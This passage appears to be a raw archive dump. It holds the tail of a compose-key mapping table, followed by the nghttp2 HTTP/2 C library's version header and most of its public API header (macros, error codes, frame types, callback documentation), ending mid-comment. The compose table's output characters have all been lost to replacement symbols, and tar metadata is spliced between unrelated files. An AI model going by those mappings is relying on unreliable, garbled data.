'h' to '�' compose '^' 'H' to '�' compose '^' 'j' to '�' compose '^' 'J' to '�' compose '^' 'a' to '�' compose '^' 'A' to '�' compose '^' 'c' to '�' compose '^' 'C' to '�' compose '^' 'e' to '�' compose '^' 'E' to '�' compose '^' 'o' to '�' compose '^' 'O' to '�' compose '^' 'g' to '�' compose '^' 'G' to '�' compose '^' 'u' to '�' compose '^' 'U' to '�' compose '^' 'S' to '�' compose '^' 's' to '�' compose '�' 'i' to '�' compose '�' 'I' to '�' compose '�' 'c' to '�' compose '�' 'C' to '�' compose '�' 'c' to '�' compose '�' 'C' to '�' compose '.' 'i' to '�' compose '.' 'I' to '�' compose '.' 'c' to '�' compose '.' 'C' to '�' compose '.' 'c' to '�' compose '.' 'C' to '�' compose '�' 'U' to '�' compose '�' 'u' to '�' compose '�' 'G' to '�' compose '�' 'g' to '�' compose '~' 'U' to '�' compose '~' 'u' to '�' compose '~' 'G' to '�' compose '~' 'g' to '�' compose '`' 'a' to '�' compose '`' 'A' to '�' compose '`' 'e' to '�' compose '`' 'E' to '�' compose '`' 'i' to '�' compose '`' 'I' to '�' compose '`' 'u' to '�' compose '`' 'O' to '�' compose '`' 'u' to '�' compose '`' 'U' to '�' compose '\'' 'A' to '�' compose '\'' 'a' to '�' compose '\'' 'E' to '�' compose '\'' 'e' to '�' compose '\'' 'I' to '�' compose '\'' 'i' to '�' compose '\'' 'O' to '�' compose '\'' 'o' to '�' compose '\'' 'U' to '�' compose '\'' 'u' to '�' compose '"' 'a' to '�' compose '"' 'A' to '�' compose '"' 'e' to '�' compose '"' 'E' to '�' compose '"' 'o' to '�' compose '"' 'O' to '�' compose '"' 'u' to '�' compose '"' 'U' to '�' compose ',' 'S' to '�' compose ',' 's' to '�' compose ',' 'C' to '�' compose ',' 'c' to '�' compose '-' 'L' to '�' compose '~' 'n' to '�' compose '~' 'N' to '�' compose '�' 'n' to '�' compose '�' 'N' to '�' compose 's' 's' to '�' compose 's' 'z' to '�' # compose '^' '*' to '�' compose '^' 'x' to '�' compose 'x' 'x' to '�' compose '^' '.' to '�' compose '.' '.' to '�' compose '^' '/' to '�' compose '^' ':' to '�' compose '-' ':' to '�' compose ':' '-' to '�' nghttp2/nghttp2ver.h 0000644 00000003105 15246437533 0010421 0 ustar 00 /* * nghttp2 - HTTP/2 C Library * * Copyright (c) 2012, 2013 Tatsuhiro Tsujikawa * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #ifndef NGHTTP2VER_H #define NGHTTP2VER_H /** * @macro * Version number of the nghttp2 library release */ #define NGHTTP2_VERSION "1.68.0" /** * @macro * Numerical representation of the version number of the nghttp2 library * release. This is a 24 bit number with 8 bits for major number, 8 bits * for minor and 8 bits for patch. Version 1.2.3 becomes 0x010203. */ #define NGHTTP2_VERSION_NUM 0x014400 #endif /* NGHTTP2VER_H */ nghttp2/nghttp2.h 0000644 00000731262 15246437533 0007720 0 ustar 00 /* * nghttp2 - HTTP/2 C Library * * Copyright (c) 2013, 2014 Tatsuhiro Tsujikawa * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #ifndef NGHTTP2_H #define NGHTTP2_H /* Define WIN32 when build target is Win32 API (borrowed from libcurl) */ #if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32) # define WIN32 #endif /* Compatibility for non-Clang compilers */ #ifndef __has_declspec_attribute # define __has_declspec_attribute(x) 0 #endif #ifdef __cplusplus extern "C" { #endif #include <stdlib.h> #if defined(_MSC_VER) && (_MSC_VER < 1800) /* MSVC < 2013 does not have inttypes.h because it is not C99 compliant. See compiler macros and version number in https://sourceforge.net/p/predef/wiki/Compilers/ */ # include <stdint.h> #else /* !defined(_MSC_VER) || (_MSC_VER >= 1800) */ # include <inttypes.h> #endif /* !defined(_MSC_VER) || (_MSC_VER >= 1800) */ #include <sys/types.h> #include <stdarg.h> #include <stddef.h> #include <nghttp2/nghttp2ver.h> #ifdef NGHTTP2_STATICLIB # define NGHTTP2_EXTERN #elif defined(WIN32) || \ (__has_declspec_attribute(dllexport) && __has_declspec_attribute(dllimport)) # ifdef BUILDING_NGHTTP2 # define NGHTTP2_EXTERN __declspec(dllexport) # else /* !BUILDING_NGHTTP2 */ # define NGHTTP2_EXTERN __declspec(dllimport) # endif /* !BUILDING_NGHTTP2 */ #else /* !defined(WIN32) */ # ifdef BUILDING_NGHTTP2 # define NGHTTP2_EXTERN __attribute__((visibility("default"))) # else /* !BUILDING_NGHTTP2 */ # define NGHTTP2_EXTERN # endif /* !BUILDING_NGHTTP2 */ #endif /* !defined(WIN32) */ #ifdef BUILDING_NGHTTP2 # undef NGHTTP2_NO_SSIZE_T #endif /* BUILDING_NGHTTP2 */ /** * @typedef * * :type:`nghttp2_ssize` is a signed counterpart of size_t. */ typedef ptrdiff_t nghttp2_ssize; /** * @macro * * The protocol version identification string of this library * supports. This identifier is used if HTTP/2 is used over TLS. */ #define NGHTTP2_PROTO_VERSION_ID "h2" /** * @macro * * The length of :macro:`NGHTTP2_PROTO_VERSION_ID`. */ #define NGHTTP2_PROTO_VERSION_ID_LEN 2 /** * @macro * * The serialized form of ALPN protocol identifier this library * supports. Notice that first byte is the length of following * protocol identifier. This is the same wire format of `TLS ALPN * extension <https://tools.ietf.org/html/rfc7301>`_. This is useful * to process incoming ALPN tokens in wire format. */ #define NGHTTP2_PROTO_ALPN "\x2h2" /** * @macro * * The length of :macro:`NGHTTP2_PROTO_ALPN`. */ #define NGHTTP2_PROTO_ALPN_LEN (sizeof(NGHTTP2_PROTO_ALPN) - 1) /** * @macro * * The protocol version identification string of this library * supports. This identifier is used if HTTP/2 is used over cleartext * TCP. */ #define NGHTTP2_CLEARTEXT_PROTO_VERSION_ID "h2c" /** * @macro * * The length of :macro:`NGHTTP2_CLEARTEXT_PROTO_VERSION_ID`. */ #define NGHTTP2_CLEARTEXT_PROTO_VERSION_ID_LEN 3 struct nghttp2_session; /** * @struct * * The primary structure to hold the resources needed for a HTTP/2 * session. The details of this structure are intentionally hidden * from the public API. */ typedef struct nghttp2_session nghttp2_session; /** * @macro * * The age of :type:`nghttp2_info` */ #define NGHTTP2_VERSION_AGE 1 /** * @struct * * This struct is what `nghttp2_version()` returns. It holds * information about the particular nghttp2 version. */ typedef struct { /** * Age of this struct. This instance of nghttp2 sets it to * :macro:`NGHTTP2_VERSION_AGE` but a future version may bump it and * add more struct fields at the bottom */ int age; /** * the :macro:`NGHTTP2_VERSION_NUM` number (since age ==1) */ int version_num; /** * points to the :macro:`NGHTTP2_VERSION` string (since age ==1) */ const char *version_str; /** * points to the :macro:`NGHTTP2_PROTO_VERSION_ID` string this * instance implements (since age ==1) */ const char *proto_str; /* -------- the above fields all exist when age == 1 */ } nghttp2_info; /** * @macro * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * The default weight of stream dependency. */ #define NGHTTP2_DEFAULT_WEIGHT 16 /** * @macro * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * The maximum weight of stream dependency. */ #define NGHTTP2_MAX_WEIGHT 256 /** * @macro * * .. warning:: * * Deprecated. :rfc:`7540` priorities are deprecated by * :rfc:`9113`. Consider migrating to :rfc:`9218` extensible * prioritization scheme. * * The minimum weight of stream dependency. */ #define NGHTTP2_MIN_WEIGHT 1 /** * @macro * * The maximum window size */ #define NGHTTP2_MAX_WINDOW_SIZE ((int32_t)((1U << 31) - 1)) /** * @macro * * The initial window size for stream level flow control. */ #define NGHTTP2_INITIAL_WINDOW_SIZE ((1 << 16) - 1) /** * @macro * * The initial window size for connection level flow control. */ #define NGHTTP2_INITIAL_CONNECTION_WINDOW_SIZE ((1 << 16) - 1) /** * @macro * * The default header table size. */ #define NGHTTP2_DEFAULT_HEADER_TABLE_SIZE (1 << 12) /** * @macro * * The client magic string, which is the first 24 bytes byte string of * client connection preface. */ #define NGHTTP2_CLIENT_MAGIC "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" /** * @macro * * The length of :macro:`NGHTTP2_CLIENT_MAGIC`. */ #define NGHTTP2_CLIENT_MAGIC_LEN 24 /** * @macro * * The default max number of settings per SETTINGS frame */ #define NGHTTP2_DEFAULT_MAX_SETTINGS 32 /** * @enum * * Error codes used in this library. The code range is [-999, -500], * inclusive. The following values are defined: */ typedef enum { /** * Invalid argument passed. */ NGHTTP2_ERR_INVALID_ARGUMENT = -501, /** * Out of buffer space. */ NGHTTP2_ERR_BUFFER_ERROR = -502, /** * The specified protocol version is not supported. */ NGHTTP2_ERR_UNSUPPORTED_VERSION = -503, /** * Used as a return value from :type:`nghttp2_send_callback2`, * :type:`nghttp2_recv_callback` and * :type:`nghttp2_send_data_callback` to indicate that the operation * would block. */ NGHTTP2_ERR_WOULDBLOCK = -504, /** * General protocol error */ NGHTTP2_ERR_PROTO = -505, /** * The frame is invalid. */ NGHTTP2_ERR_INVALID_FRAME = -506, /** * The peer performed a shutdown on the connection. */ NGHTTP2_ERR_EOF = -507, /** * Used as a return value from * :func:`nghttp2_data_source_read_callback2` to indicate that data * transfer is postponed. See * :func:`nghttp2_data_source_read_callback2` for details. */ NGHTTP2_ERR_DEFERRED = -508, /** * Stream ID has reached the maximum value. Therefore no stream ID * is available. */ NGHTTP2_ERR_STREAM_ID_NOT_AVAILABLE = -509, /** * The stream is already closed; or the stream ID is invalid. */ NGHTTP2_ERR_STREAM_CLOSED = -510, /** * RST_STREAM has been added to the outbound queue. The stream is * in closing state. */ NGHTTP2_ERR_STREAM_CLOSING = -511, /** * The transmission is not allowed for this stream (e.g., a frame * with END_STREAM flag set has already sent). */ NGHTTP2_ERR_STREAM_SHUT_WR = -512, /** * The stream ID is invalid. */ NGHTTP2_ERR_INVALID_STREAM_ID = -513, /** * The state of the stream is not valid (e.g., DATA cannot be sent * to the stream if response HEADERS has not been sent). */ NGHTTP2_ERR_INVALID_STREAM_STATE = -514, /** * Another DATA frame has already been deferred. */ NGHTTP2_ERR_DEFERRED_DATA_EXIST = -515, /** * Starting new stream is not allowed (e.g., GOAWAY has been sent * and/or received). */ NGHTTP2_ERR_START_STREAM_NOT_ALLOWED = -516, /** * GOAWAY has already been sent. */ NGHTTP2_ERR_GOAWAY_ALREADY_SENT = -517, /** * The received frame contains the invalid header block (e.g., There * are duplicate header names; or the header names are not encoded * in US-ASCII character set and not lower cased; or the header name * is zero-length string; or the header value contains multiple * in-sequence NUL bytes). */ NGHTTP2_ERR_INVALID_HEADER_BLOCK = -518, /** * Indicates that the context is not suitable to perform the * requested operation. */ NGHTTP2_ERR_INVALID_STATE = -519, /** * The user callback function failed due to the temporal error. */ NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE = -521, /** * The length of the frame is invalid, either too large or too small. */ NGHTTP2_ERR_FRAME_SIZE_ERROR = -522, /** * Header block inflate/deflate error. */ NGHTTP2_ERR_HEADER_COMP = -523, /** * Flow control error */ NGHTTP2_ERR_FLOW_CONTROL = -524, /** * Insufficient buffer size given to function. */ NGHTTP2_ERR_INSUFF_BUFSIZE = -525, /** * Callback was paused by the application */ NGHTTP2_ERR_PAUSE = -526, /** * There are too many in-flight SETTING frame and no more * transmission of SETTINGS is allowed. */ NGHTTP2_ERR_TOO_MANY_INFLIGHT_SETTINGS = -527, /** * The server push is disabled. */ NGHTTP2_ERR_PUSH_DISABLED = -528, /** * DATA or HEADERS frame for a given stream has been already * submitted and has not been fully processed yet. Application * should wait for the transmission of the previously submitted * frame before submitting another. */ NGHTTP2_ERR_DATA_EXIST = -529, /** * The current session is closing due to a connection error or * `nghttp2_session_terminate_session()` is called. */ NGHTTP2_ERR_SESSION_CLOSING = -530, /** * Invalid HTTP header field was received and stream is going to be * closed. */ NGHTTP2_ERR_HTTP_HEADER = -531, /** * Violation in HTTP messaging rule. */ NGHTTP2_ERR_HTTP_MESSAGING = -532, /** * Stream was refused. */ NGHTTP2_ERR_REFUSED_STREAM = -533, /** * Unexpected internal error, but recovered. */ NGHTTP2_ERR_INTERNAL = -534, /** * Indicates that a processing was canceled. */ NGHTTP2_ERR_CANCEL = -535, /** * When a local endpoint expects to receive SETTINGS frame, it * receives an other type of frame. */ NGHTTP2_ERR_SETTINGS_EXPECTED = -536, /** * When a local endpoint receives too many settings entries * in a single SETTINGS frame. */ NGHTTP2_ERR_TOO_MANY_SETTINGS = -537, /** * The errors < :enum:`nghttp2_error.NGHTTP2_ERR_FATAL` mean that * the library is under unexpected condition and processing was * terminated (e.g., out of memory). If application receives this * error code, it must stop using that :type:`nghttp2_session` * object and only allowed operation for that object is deallocate * it using `nghttp2_session_del()`. */ NGHTTP2_ERR_FATAL = -900, /** * Out of memory. This is a fatal error. */ NGHTTP2_ERR_NOMEM = -901, /** * The user callback function failed. This is a fatal error. */ NGHTTP2_ERR_CALLBACK_FAILURE = -902, /** * Invalid client magic (see :macro:`NGHTTP2_CLIENT_MAGIC`) was * received and further processing is not possible. */ NGHTTP2_ERR_BAD_CLIENT_MAGIC = -903, /** * Possible flooding by peer was detected in this HTTP/2 session. * Flooding is measured by how many PING and SETTINGS frames with * ACK flag set are queued for transmission. These frames are * response for the peer initiated frames, and peer can cause memory * exhaustion on server side to send these frames forever and does * not read network. */ NGHTTP2_ERR_FLOODED = -904, /** * When a local endpoint receives too many CONTINUATION frames * following a HEADER frame. */ NGHTTP2_ERR_TOO_MANY_CONTINUATIONS = -905, } nghttp2_error; /** * @struct * * The object representing single contiguous buffer. */ typedef struct { /** * The pointer to the buffer. */ uint8_t *base; /** * The length of the buffer. */ size_t len; } nghttp2_vec; struct nghttp2_rcbuf; /** * @struct * * The object representing reference counted buffer. The details of * this structure are intentionally hidden from the public API. */ typedef struct nghttp2_rcbuf nghttp2_rcbuf; /** * @function * * Increments the reference count of |rcbuf| by 1. */ NGHTTP2_EXTERN void nghttp2_rcbuf_incref(nghttp2_rcbuf *rcbuf); /** * @function * * Decrements the reference count of |rcbuf| by 1. If the reference * count becomes zero, the object pointed by |rcbuf| will be freed. * In this case, application must not use |rcbuf| again. */ NGHTTP2_EXTERN void nghttp2_rcbuf_decref(nghttp2_rcbuf *rcbuf); /** * @function * * Returns the underlying buffer managed by |rcbuf|. */ NGHTTP2_EXTERN nghttp2_vec nghttp2_rcbuf_get_buf(nghttp2_rcbuf *rcbuf); /** * @function * * Returns nonzero if the underlying buffer is statically allocated, * and 0 otherwise. This can be useful for language bindings that wish * to avoid creating duplicate strings for these buffers. */ NGHTTP2_EXTERN int nghttp2_rcbuf_is_static(const nghttp2_rcbuf *rcbuf); /** * @enum * * The flags for header field name/value pair. */ typedef enum { /** * No flag set. */ NGHTTP2_NV_FLAG_NONE = 0, /** * Indicates that this name/value pair must not be indexed ("Literal * Header Field never Indexed" representation must be used in HPACK * encoding). Other implementation calls this bit as "sensitive". */ NGHTTP2_NV_FLAG_NO_INDEX = 0x01, /** * This flag is set solely by application. If this flag is set, the * library does not make a copy of header field name. This could * improve performance. */ NGHTTP2_NV_FLAG_NO_COPY_NAME = 0x02, /** * This flag is set solely by application. If this flag is set, the * library does not make a copy of header field value. This could * improve performance. */ NGHTTP2_NV_FLAG_NO_COPY_VALUE = 0x04 } nghttp2_nv_flag; /** * @struct * * The name/value pair, which mainly used to represent header fields. */ typedef struct { /** * The |name| byte string. If this struct is presented from library * (e.g., :type:`nghttp2_on_frame_recv_callback`), |name| is * guaranteed to be NULL-terminated. For some callbacks * (:type:`nghttp2_before_frame_send_callback`, * :type:`nghttp2_on_frame_send_callback`, and * :type:`nghttp2_on_frame_not_send_callback`), it may not be * NULL-terminated if header field is passed from application with * the flag :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_NAME`). * When application is constructing this struct, |name| is not * required to be NULL-terminated. */ uint8_t *name; /** * The |value| byte string. If this struct is presented from * library (e.g., :type:`nghttp2_on_frame_recv_callback`), |value| * is guaranteed to be NULL-terminated. For some callbacks * (:type:`nghttp2_before_frame_send_callback`, * :type:`nghttp2_on_frame_send_callback`, and * :type:`nghttp2_on_frame_not_send_callback`), it may not be * NULL-terminated if header field is passed from application with * the flag :enum:`nghttp2_nv_flag.NGHTTP2_NV_FLAG_NO_COPY_VALUE`). * When application is constructing this struct, |value| is not * required to be NULL-terminated. */ uint8_t *value; /** * The length of the |name|, excluding terminating NULL. */ size_t namelen; /** * The length of the |value|, excluding terminating NULL. */ size_t valuelen; /** * Bitwise OR of one or more of :type:`nghttp2_nv_flag`. */ uint8_t flags; } nghttp2_nv; /** * @enum * * The frame types in HTTP/2 specification. */ typedef enum { /** * The DATA frame. */ NGHTTP2_DATA = 0, /** * The HEADERS frame. */ NGHTTP2_HEADERS = 0x01, /** * The PRIORITY frame. */ NGHTTP2_PRIORITY = 0x02, /** * The RST_STREAM frame. */ NGHTTP2_RST_STREAM = 0x03, /** * The SETTINGS frame. */ NGHTTP2_SETTINGS = 0x04, /** * The PUSH_PROMISE frame. */ NGHTTP2_PUSH_PROMISE = 0x05, /** * The PING frame. */ NGHTTP2_PING = 0x06, /** * The GOAWAY frame. */ NGHTTP2_GOAWAY = 0x07, /** * The WINDOW_UPDATE frame. */ NGHTTP2_WINDOW_UPDATE = 0x08, /** * The CONTINUATION frame. This frame type won't be passed to any * callbacks because the library processes this frame type and its * preceding HEADERS/PUSH_PROMISE as a single frame. */ NGHTTP2_CONTINUATION = 0x09, /** * The ALTSVC frame, which is defined in `RFC 7383 * <https://tools.ietf.org/html/rfc7838#section-4>`_. */ NGHTTP2_ALTSVC = 0x0a, /** * The ORIGIN frame, which is defined by `RFC 8336 * <https://tools.ietf.org/html/rfc8336>`_. */ NGHTTP2_ORIGIN = 0x0c, /** * The PRIORITY_UPDATE frame, which is defined by :rfc:`9218`. */ NGHTTP2_PRIORITY_UPDATE = 0x10 } nghttp2_frame_type; /** * @enum * * The flags for HTTP/2 frames. This enum defines all flags for all * frames. */ typedef enum { /** * No flag set. */ NGHTTP2_FLAG_NONE = 0, /** * The END_STREAM flag. */ NGHTTP2_FLAG_END_STREAM = 0x01, /** * The END_HEADERS flag. */ NGHTTP2_FLAG_END_HEADERS = 0x04, /** * The ACK flag. */ NGHTTP2_FLAG_ACK = 0x01, /** * The PADDED flag. */ NGHTTP2_FLAG_PADDED = 0x08, /** * The PRIORITY flag. */ NGHTTP2_FLAG_PRIORITY = 0x20 } nghttp2_flag; /** * @enum * The SETTINGS ID. */ typedef enum { /** * SETTINGS_HEADER_TABLE_SIZE */ NGHTTP2_SETTINGS_HEADER_TABLE_SIZE = 0x01, /** * SETTINGS_ENABLE_PUSH */ NGHTTP2_SETTINGS_ENABLE_PUSH = 0x02, /** * SETTINGS_MAX_CONCURRENT_STREAMS */ NGHTTP2_SETTINGS_MAX_CONCURRENT_STREAMS = 0x03, /** * SETTINGS_INITIAL_WINDOW_SIZE */ NGHTTP2_SETTINGS_INITIAL_WINDOW_SIZE = 0x04, /** * SETTINGS_MAX_FRAME_SIZE */ NGHTTP2_SETTINGS_MAX_FRAME_SIZE = 0x05, /** * SETTINGS_MAX_HEADER_LIST_SIZE */ NGHTTP2_SETTINGS_MAX_HEADER_LIST_SIZE = 0x06, /** * SETTINGS_ENABLE_CONNECT_PROTOCOL * (`RFC 8441 <https://tools.ietf.org/html/rfc8441>`_) */ NGHTTP2_SETTINGS_ENABLE_CONNECT_PROTOCOL = 0x08, /** * SETTINGS_NO_RFC7540_PRIORITIES (:rfc:`9218`) */ NGHTTP2_SETTINGS_NO_RFC7540_PRIORITIES = 0x09 } nghttp2_settings_id; /* Note: If we add SETTINGS, update the capacity of NGHTTP2_INBOUND_NUM_IV as well */ /** * @macro * * .. warning:: * * Deprecated. The initial max concurrent streams is 0xffffffffu. * * Default maximum number of incoming concurrent streams. Use * `nghttp2_submit_settings()` with * :enum:`nghttp2_settings_id.NGHTTP2_SETTINGS_MAX_CONCURRENT_STREAMS` * to change the maximum number of incoming concurrent streams. * * .. note:: * * The maximum number of outgoing concurrent streams is 100 by * default. */ #define NGHTTP2_INITIAL_MAX_CONCURRENT_STREAMS ((1U << 31) - 1) /** * @enum * The status codes for the RST_STREAM and GOAWAY frames. */ typedef enum { /** * No errors. */ NGHTTP2_NO_ERROR = 0x00, /** * PROTOCOL_ERROR */ NGHTTP2_PROTOCOL_ERROR = 0x01, /** * INTERNAL_ERROR */ NGHTTP2_INTERNAL_ERROR = 0x02, /** * FLOW_CONTROL_ERROR */ NGHTTP2_FLOW_CONTROL_ERROR = 0x03, /** * SETTINGS_TIMEOUT */ NGHTTP2_SETTINGS_TIMEOUT = 0x04, /** * STREAM_CLOSED */ NGHTTP2_STREAM_CLOSED = 0x05, /** * FRAME_SIZE_ERROR */ NGHTTP2_FRAME_SIZE_ERROR = 0x06, /** * REFUSED_STREAM */ NGHTTP2_REFUSED_STREAM = 0x07, /** * CANCEL */ NGHTTP2_CANCEL = 0x08, /** * COMPRESSION_ERROR */ NGHTTP2_COMPRESSION_ERROR = 0x09, /** * CONNECT_ERROR */ NGHTTP2_CONNECT_ERROR = 0x0a, /** * ENHANCE_YOUR_CALM */ NGHTTP2_ENHANCE_YOUR_CALM = 0x0b, /** * INADEQUATE_SECURITY */ NGHTTP2_INADEQUATE_SECURITY = 0x0c, /** * HTTP_1_1_REQUIRED */ NGHTTP2_HTTP_1_1_REQUIRED = 0x0d } nghttp2_error_code; /** * @struct * The frame header. */ typedef struct { /** * The length field of this frame, excluding frame header. */ size_t length; /** * The stream identifier (aka, stream ID) */ int32_t stream_id; /** * The type of this frame. See `nghttp2_frame_type`. */ uint8_t type; /** * The flags. */ uint8_t flags; /** * Reserved bit in frame header. Currently, this is always set to 0 * and application should not expect something useful in here. */ uint8_t reserved; } nghttp2_frame_hd; /** * @union * * This union represents the some kind of data source passed to * :type:`nghttp2_data_source_read_callback2`. */ typedef union { /** * The integer field, suitable for a file descriptor. */ int fd; /** * The pointer to an arbitrary object. */ void *ptr; } nghttp2_data_source; /** * @enum * * The flags used to set in |data_flags| output parameter in * :type:`nghttp2_data_source_read_callback2`. */ typedef enum { /** * No flag set. */ NGHTTP2_DATA_FLAG_NONE = 0, /** * Indicates EOF was sensed. */ NGHTTP2_DATA_FLAG_EOF = 0x01, /** * Indicates that END_STREAM flag must not be set even if * NGHTTP2_DATA_FLAG_EOF is set. Usually this flag is used to send * trailer fields with `nghttp2_submit_request2()` or * `nghttp2_submit_response2()`. */ NGHTTP2_DATA_FLAG_NO_END_STREAM = 0x02, /** * Indicates that application will send complete DATA frame in * :type:`nghttp2_send_data_callback`. */ NGHTTP2_DATA_FLAG_NO_COPY = 0x04 } nghttp2_data_flag; #ifndef NGHTTP2_NO_SSIZE_T /** * @functypedef * * .. warning:: * * Deprecated. Use :type:`nghttp2_data_source_read_callback2` * instead. * * Callback function invoked when the library wants to read data from * the |source|. The read data is sent in the stream |stream_id|. * The implementation of this function must read at most |length| * bytes of data from |source| (or possibly other places) and store * them in |buf| and return number of data stored in |buf|. If EOF is * reached, set :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_EOF` flag * in |*data_flags|. * * Sometime it is desirable to avoid copying data into |buf| and let * application to send data directly. To achieve this, set * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_NO_COPY` to * |*data_flags| (and possibly other flags, just like when we do * copy), and return the number of bytes to send without copying data * into |buf|. The library, seeing * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_NO_COPY`, will invoke * :type:`nghttp2_send_data_callback`. The application must send * complete DATA frame in that callback. * * If this callback is set by `nghttp2_submit_request()`, * `nghttp2_submit_response()` or `nghttp2_submit_headers()` and * `nghttp2_submit_data()` with flag parameter * :enum:`nghttp2_flag.NGHTTP2_FLAG_END_STREAM` set, and * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_EOF` flag is set to * |*data_flags|, DATA frame will have END_STREAM flag set. Usually, * this is expected behaviour and all are fine. One exception is send * trailer fields. You cannot send trailer fields after sending frame * with END_STREAM set. To avoid this problem, one can set * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_NO_END_STREAM` along * with :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_EOF` to signal the * library not to set END_STREAM in DATA frame. Then application can * use `nghttp2_submit_trailer()` to send trailer fields. * `nghttp2_submit_trailer()` can be called inside this callback. * * If the application wants to postpone DATA frames (e.g., * asynchronous I/O, or reading data blocks for long time), it is * achieved by returning :enum:`nghttp2_error.NGHTTP2_ERR_DEFERRED` * without reading any data in this invocation. The library removes * DATA frame from the outgoing queue temporarily. To move back * deferred DATA frame to outgoing queue, call * `nghttp2_session_resume_data()`. * * By default, |length| is limited to 16KiB at maximum. If peer * allows larger frames, application can enlarge transmission buffer * size. See :type:`nghttp2_data_source_read_length_callback` for * more details. * * If the application just wants to return from * `nghttp2_session_send()` or `nghttp2_session_mem_send()` without * sending anything, return :enum:`nghttp2_error.NGHTTP2_ERR_PAUSE`. * * In case of error, there are 2 choices. Returning * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE` will * close the stream by issuing RST_STREAM with * :enum:`nghttp2_error_code.NGHTTP2_INTERNAL_ERROR`. If a different * error code is desirable, use `nghttp2_submit_rst_stream()` with a * desired error code and then return * :enum:`nghttp2_error.NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE`. * Returning :enum:`nghttp2_error.NGHTTP2_ERR_CALLBACK_FAILURE` will * signal the entire session failure. */ typedef ssize_t (*nghttp2_data_source_read_callback)( nghttp2_session *session, int32_t stream_id, uint8_t *buf, size_t length, uint32_t *data_flags, nghttp2_data_source *source, void *user_data); #endif /* NGHTTP2_NO_SSIZE_T */ /** * @functypedef * * Callback function invoked when the library wants to read data from * the |source|. The read data is sent in the stream |stream_id|. * The implementation of this function must read at most |length| * bytes of data from |source| (or possibly other places) and store * them in |buf| and return number of data stored in |buf|. If EOF is * reached, set :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_EOF` flag * in |*data_flags|. * * Sometime it is desirable to avoid copying data into |buf| and let * application to send data directly. To achieve this, set * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_NO_COPY` to * |*data_flags| (and possibly other flags, just like when we do * copy), and return the number of bytes to send without copying data * into |buf|. The library, seeing * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_NO_COPY`, will invoke * :type:`nghttp2_send_data_callback`. The application must send * complete DATA frame in that callback. * * If this callback is set by `nghttp2_submit_request2()`, * `nghttp2_submit_response2()` or `nghttp2_submit_headers()` and * `nghttp2_submit_data2()` with flag parameter * :enum:`nghttp2_flag.NGHTTP2_FLAG_END_STREAM` set, and * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_EOF` flag is set to * |*data_flags|, DATA frame will have END_STREAM flag set. Usually, * this is expected behaviour and all are fine. One exception is send * trailer fields. You cannot send trailer fields after sending frame * with END_STREAM set. To avoid this problem, one can set * :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_NO_END_STREAM` along * with :enum:`nghttp2_data_flag.NGHTTP2_DATA_FLAG_EOF` to signal the * library not to set END_STREAM in DATA frame. Then application can * use `nghttp2_submit_trailer()` to send trailer fields. * `nghttp2_submit_trailer()` can be called inside this callback. * * If the application wants to postpone DATA frames (e.g., * asynchronous I/O, or reading data blocks for long time), it is * achieved by returning :enum:`nghttp2_error.NGHTTP2_ERR_DEFERRED` * without reading any data in this invocation. The library removes * DATA frame from the outgoing queue temporarily. To move back * deferred DATA frame to outgoing queue, call * `nghttp2_session_resume_data()`. * * By default, |length| is limited to 16KiB at maximum. If peer * allows larger frames, application can enlarge transmission buffer * size. See :type:`nghttp2_data_source_read_length_callback` for * more details. * * If the application just wants to return from * `nghttp2_session_send()` or `nghttp2_session_mem_send2()` without * sending anything, return 